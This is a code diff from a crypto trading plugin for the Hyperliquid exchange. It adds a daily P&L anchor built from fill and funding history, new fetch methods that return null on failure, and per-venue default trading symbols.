+        const [fills, fundings] = await Promise.all([
+            args.fetchers.fetchFillsSince(sinceMs),
+            args.fetchers.fetchFundingSince(sinceMs),
+        ]);
+        // null ≠ empty: a failed read must not recompute from partial data. Keep the
+        // last good anchor (invariant within the day bar capital flows) and retry.
+        if (fills === null || fundings === null) {
+            logger.warn(TAG, `anchor refresh skipped — fetch failed (fills=${fills === null ? 'FAIL' : 'ok'}, ` +
+                `funding=${fundings === null ? 'FAIL' : 'ok'}); keeping last anchor ` +
+                `(sessionStartNav=${this.sessionStartNav ?? 'unset'})`);
+            return false;
+        }
+        const { netNonTransfer, realizedPnlGross, fees, funding } = computeNetNonTransfer({
+            fills,
+            fundings,
+            sinceMs,
+        });
+        const prev = this.sessionStartNav;
+        const today = utcDayString(now);
+        const dayRolled = prev !== null && today !== this.anchorUtcDay;
+        this.sessionStartNav = deriveSessionStartNav({ walletNow: args.walletNow, netNonTransfer });
+        this.realizedPnlToday = netNonTransfer;
+        this.anchorUtcDay = today;
+        this.lastRefreshMs = now;
+        if (prev === null || dayRolled) {
+            logger.info(TAG, `Day-P&L anchor ${prev === null ? 'established' : `rolled to ${today}`}: ` +
+                `sessionStartNav=${this.sessionStartNav.toFixed(4)} ` +
+                `(wallet ${args.walletNow.toFixed(4)} − netNonTransfer ${netNonTransfer.toFixed(4)}; ` +
+                `realizedGross ${realizedPnlGross.toFixed(4)}, fees ${fees.toFixed(4)}, funding ${funding.toFixed(4)})`);
+        }
+        return true;
+    }
+}

package/venues/hyperliquid/hl-live-adapter.d.ts

@@ -30,6 +30,11 @@ export declare class HyperliquidLiveAdapter extends EventEmitter implements IExc
     private truthCheckRunning;
     private _readiness;
     private openOrdersUnavailableUntil;
+    /** UTC-midnight Day-P&L anchor (KPI-must-equal-the-HL-app, §5.8). HL has no
+     *  income endpoint, so the anchor is rebuilt from userFillsByTime + userFunding
+     *  each balance fetch. Without this the skill self-computes a bogus anchor and
+     *  prints a phantom Day P&L (the 2026-07-24 −$91.85 incident). */
+    private readonly dayAnchor;
     constructor(opts: HlLiveAdapterOptions);
     /** The HL bracket orchestrator — the venue-aware tools (attach_brackets /
      *  modify_stop / modify_target / audit) drive brackets through this. */

package/venues/hyperliquid/hl-live-adapter.js

@@ -31,6 +31,7 @@ import { HyperliquidInfoCache } from './hl-info-cache.js';
 import { HyperliquidPublicApi } from './hl-public.js';
 import { planBracket, planResize, buildBracketOrders, bracketCoversPosition, } from './hl-brackets.js';
 import { deriveHlNav, toCcxtBalance } from './hl-balance.js';
+import { HlDayPnlAnchor } from './hl-day-anchor.js';
 import { buildHlOrderCloid, parseHlBracketCloid } from './hl-cloid.js';
 import { BracketLedger } from '../../live/bracket-ledger.js';
 import { generateBracketId } from '../../live/bracket-id.js';
@@ -69,6 +70,11 @@ export class HyperliquidLiveAdapter extends EventEmitter {
     truthCheckRunning = false;
     _readiness = 'INIT_PENDING';
     openOrdersUnavailableUntil = 0;
+    /** UTC-midnight Day-P&L anchor (KPI-must-equal-the-HL-app, §5.8). HL has no
+     *  income endpoint, so the anchor is rebuilt from userFillsByTime + userFunding
+     *  each balance fetch. Without this the skill self-computes a bogus anchor and
+     *  prints a phantom Day P&L (the 2026-07-24 −$91.85 incident). */
+    dayAnchor = new HlDayPnlAnchor();
     constructor(opts) {
         super();
         this.opts = opts;
@@ -467,7 +473,29 @@ export class HyperliquidLiveAdapter extends EventEmitter {
         if (!nav) {
             throw new Error('getBalance: clearinghouseState unreadable — balance UNKNOWN (never reported as $0)');
         }
-        return toCcxtBalance(nav);
+        // Recompute the UTC-midnight Day-P&L anchor (KPI-must-equal-the-HL-app §5.8).
+        // Best-effort + self-correcting: never throws, keeps the last good anchor on a
+        // failed fills/funding fetch (null ≠ empty). Emitting sessionStartNav here is
+        // what lets the skill's non-PAPER sync (gateway.ts) show a correct Day P&L
+        // instead of self-computing a bogus one (the 2026-07-24 −$91.85 incident).
+        try {
+            await this.dayAnchor.refresh({ walletNow: nav.wallet, fetchers: this.api });
+        }
+        catch (err) {
+            logger.warn(TAG, `day-anchor refresh error (non-fatal): ${msg(err)}`);
+        }
+        const round4 = (n) => +n.toFixed(4);
+        const enriched = { ...toCcxtBalance(nav) };
+        const sessionStartNav = this.dayAnchor.getSessionStartNav();
+        // Only emit a POSITIVE anchor: the skill's non-PAPER sync gate is
+        // `pluginNav > 0`, and a null/0 anchor must fall through to the safe fallback
+        // rather than pin Day P&L. `equity` = accountValue (HL app "Account Equity").
+        if (sessionStartNav !== null && sessionStartNav > 0) {
+            enriched.sessionStartNav = round4(sessionStartNav);
+            enriched.realizedPnlToday = round4(this.dayAnchor.getRealizedPnlToday());
+        }
+        enriched.equity = round4(nav.equity);
+        return enriched;
     }
     /** Display contract (`?? []`) — the 20+ KPI/display callers. */
     async getPositions(symbol) {

package/venues/hyperliquid/hl-private.d.ts

@@ -1,4 +1,5 @@
 import type { CcxtOrder, CcxtPosition, CcxtBalance } from '../../types.js';
+import type { HlFillForAnchor, HlFundingForAnchor } from './hl-balance.js';
 export interface HlCredentials {
     /** MASTER account address (0x…). Queries always use this — an agent wallet
      *  holds no balance and no positions (learned the hard way 2026-07-12). */
@@ -64,6 +65,21 @@ export declare class HyperliquidPrivateApi {
      *  fills exist server-side — deep history is NOT queryable on HL, which is why
      *  the `trades` table must be WS-first. */
     fetchMyTrades(symbol?: string, since?: number, limit?: number): Promise<unknown[] | null>;
+    /** Fills at/after `sinceMs` — the Day-P&L anchor's realized+fee input
+     *  (`userFillsByTime`, plan §3.6 / §5.8; weight 20). The raw rows structurally
+     *  satisfy `HlFillForAnchor` ({time, closedPnl, fee, builderFee?}) so they feed
+     *  `computeNetNonTransfer` directly. `null` = fetch FAILED (state unknown) — the
+     *  anchor MUST keep its last good value, NEVER recompute from partial data
+     *  (`null ≠ empty`; a fabricated anchor prints a phantom Day-P&L). NOTE: HL's
+     *  `fee` is inclusive of `builderFee`, but we hard-disable the builder fee
+     *  (`options.builderFee:false`, pinned by hl-private.test.ts) so `builderFee` is
+     *  absent/0 on our fills and the sum is exact either way. */
+    fetchFillsSince(sinceMs: number): Promise<HlFillForAnchor[] | null>;
+    /** Funding deltas at/after `sinceMs` — the Day-P&L anchor's funding input
+     *  (`userFunding`, plan §3.6 / §5.8; weight 20, shed-able). Raw rows satisfy
+     *  `HlFundingForAnchor` via `delta.usdc` (signed USDC; negative = paid).
+     *  `null` = fetch FAILED / paced-shed — anchor keeps its last good value. */
+    fetchFundingSince(sinceMs: number): Promise<HlFundingForAnchor[] | null>;
     /** Refresh the ADDRESS action budget (the starvation guard). Weight 20 — call
      *  every ~5 min, never per-heartbeat. */
     refreshAddressBudget(): Promise<void>;

package/venues/hyperliquid/hl-private.js

@@ -206,6 +206,53 @@ export class HyperliquidPrivateApi {
             return null;
         }
     }
+    /** Fills at/after `sinceMs` — the Day-P&L anchor's realized+fee input
+     *  (`userFillsByTime`, plan §3.6 / §5.8; weight 20). The raw rows structurally
+     *  satisfy `HlFillForAnchor` ({time, closedPnl, fee, builderFee?}) so they feed
+     *  `computeNetNonTransfer` directly. `null` = fetch FAILED (state unknown) — the
+     *  anchor MUST keep its last good value, NEVER recompute from partial data
+     *  (`null ≠ empty`; a fabricated anchor prints a phantom Day-P&L). NOTE: HL's
+     *  `fee` is inclusive of `builderFee`, but we hard-disable the builder fee
+     *  (`options.builderFee:false`, pinned by hl-private.test.ts) so `builderFee` is
+     *  absent/0 on our fills and the sum is exact either way. */
+    async fetchFillsSince(sinceMs) {
+        try {
+            assertNotLimited('userFills');
+            const raw = await this.rawInfo({
+                type: 'userFillsByTime',
+                user: this.creds.walletAddress,
+                startTime: Math.floor(sinceMs),
+            });
+            noteSuccess('userFills');
+            return Array.isArray(raw) ? raw : null;
+        }
+        catch (err) {
+            noteError(err, 'fetchFillsSince');
+            logger.warn(TAG, `fetchFillsSince failed: ${msg(err)}`);
+            return null;
+        }
+    }
+    /** Funding deltas at/after `sinceMs` — the Day-P&L anchor's funding input
+     *  (`userFunding`, plan §3.6 / §5.8; weight 20, shed-able). Raw rows satisfy
+     *  `HlFundingForAnchor` via `delta.usdc` (signed USDC; negative = paid).
+     *  `null` = fetch FAILED / paced-shed — anchor keeps its last good value. */
+    async fetchFundingSince(sinceMs) {
+        try {
+            assertNotLimited('userFunding');
+            const raw = await this.rawInfo({
+                type: 'userFunding',
+                user: this.creds.walletAddress,
+                startTime: Math.floor(sinceMs),
+            });
+            noteSuccess('userFunding');
+            return Array.isArray(raw) ? raw : null;
+        }
+        catch (err) {
+            noteError(err, 'fetchFundingSince');
+            logger.warn(TAG, `fetchFundingSince failed: ${msg(err)}`);
+            return null;
+        }
+    }
     /** Refresh the ADDRESS action budget (the starvation guard). Weight 20 — call
      *  every ~5 min, never per-heartbeat. */
     async refreshAddressBudget() {

package/venues/symbols.d.ts

@@ -20,6 +20,18 @@ export declare function fillExchangeId(venue: VenueId): string;
 export declare const VENUE_QUOTE_ASSET: Record<VenueId, string>;
 /** Prefix that namespaces Hyperliquid rows inside the intel symbol column. */
 export declare const HL_INTEL_PREFIX = "HL_";
+/** Default canonical trading symbol per venue — BTC quoted in the venue's
+ *  settle asset. A venue-blind 'BTC/USDT' default on a hyperliquid box is a
+ *  guaranteed venue-rejection everywhere it's consumed (same class as the
+ *  issue-#174 hardcoded-USDT wallet that read as $0 equity on the USDC venue). */
+export declare const VENUE_DEFAULT_SYMBOL: Record<VenueId, string>;
+/** Resolve the plugin's configured trading symbol: an explicit entry-config
+ *  value wins (openclaw.json plugins.entries.<id>.config.symbol, passed to
+ *  register() via api.config); otherwise the VENUE's default. Never a
+ *  venue-blind hardcode — before 2026-07-24 register() ignored the entry
+ *  config entirely and always used 'BTC/USDT', so every in-plugin consumer on
+ *  a hyperliquid-venue box carried a symbol its own venue rejects. */
+export declare function resolvePluginSymbol(entrySymbol: unknown, venue: VenueId): string;
 /** Canonical symbol → the venue's CCXT unified symbol.
  *  'BTC/USDT' (binance) → 'BTC/USDT:USDT'; 'BTC/USDC' (hyperliquid) →
  *  'BTC/USDC:USDC'. Accepts an already-suffixed input (idempotent). */

package/venues/symbols.js

@@ -39,6 +39,26 @@ export const VENUE_QUOTE_ASSET = {
 };
 /** Prefix that namespaces Hyperliquid rows inside the intel symbol column. */
 export const HL_INTEL_PREFIX = 'HL_';
+/** Default canonical trading symbol per venue — BTC quoted in the venue's
+ *  settle asset. A venue-blind 'BTC/USDT' default on a hyperliquid box is a
+ *  guaranteed venue-rejection everywhere it's consumed (same class as the
+ *  issue-#174 hardcoded-USDT wallet that read as $0 equity on the USDC venue). */
+export const VENUE_DEFAULT_SYMBOL = {
+    binance: 'BTC/USDT',
+    hyperliquid: 'BTC/USDC',
+};
+/** Resolve the plugin's configured trading symbol: an explicit entry-config
+ *  value wins (openclaw.json plugins.entries.<id>.config.symbol, passed to
+ *  register() via api.config); otherwise the VENUE's default. Never a
+ *  venue-blind hardcode — before 2026-07-24 register() ignored the entry
+ *  config entirely and always used 'BTC/USDT', so every in-plugin consumer on
+ *  a hyperliquid-venue box carried a symbol its own venue rejects. */
+export function resolvePluginSymbol(entrySymbol, venue) {
+    if (typeof entrySymbol === 'string' && entrySymbol.trim().length > 0) {
+        return stripSettleSuffix(entrySymbol.trim());
+    }
+    return VENUE_DEFAULT_SYMBOL[venue];
+}
 /** Strip a CCXT settle suffix ('BTC/USDT:USDT' → 'BTC/USDT'). Same regex as
  *  webapp/src/lib/symbols.ts normalizeSymbol — kept inline so this module has
  *  zero imports and survives the sync-copy deploy boundary. */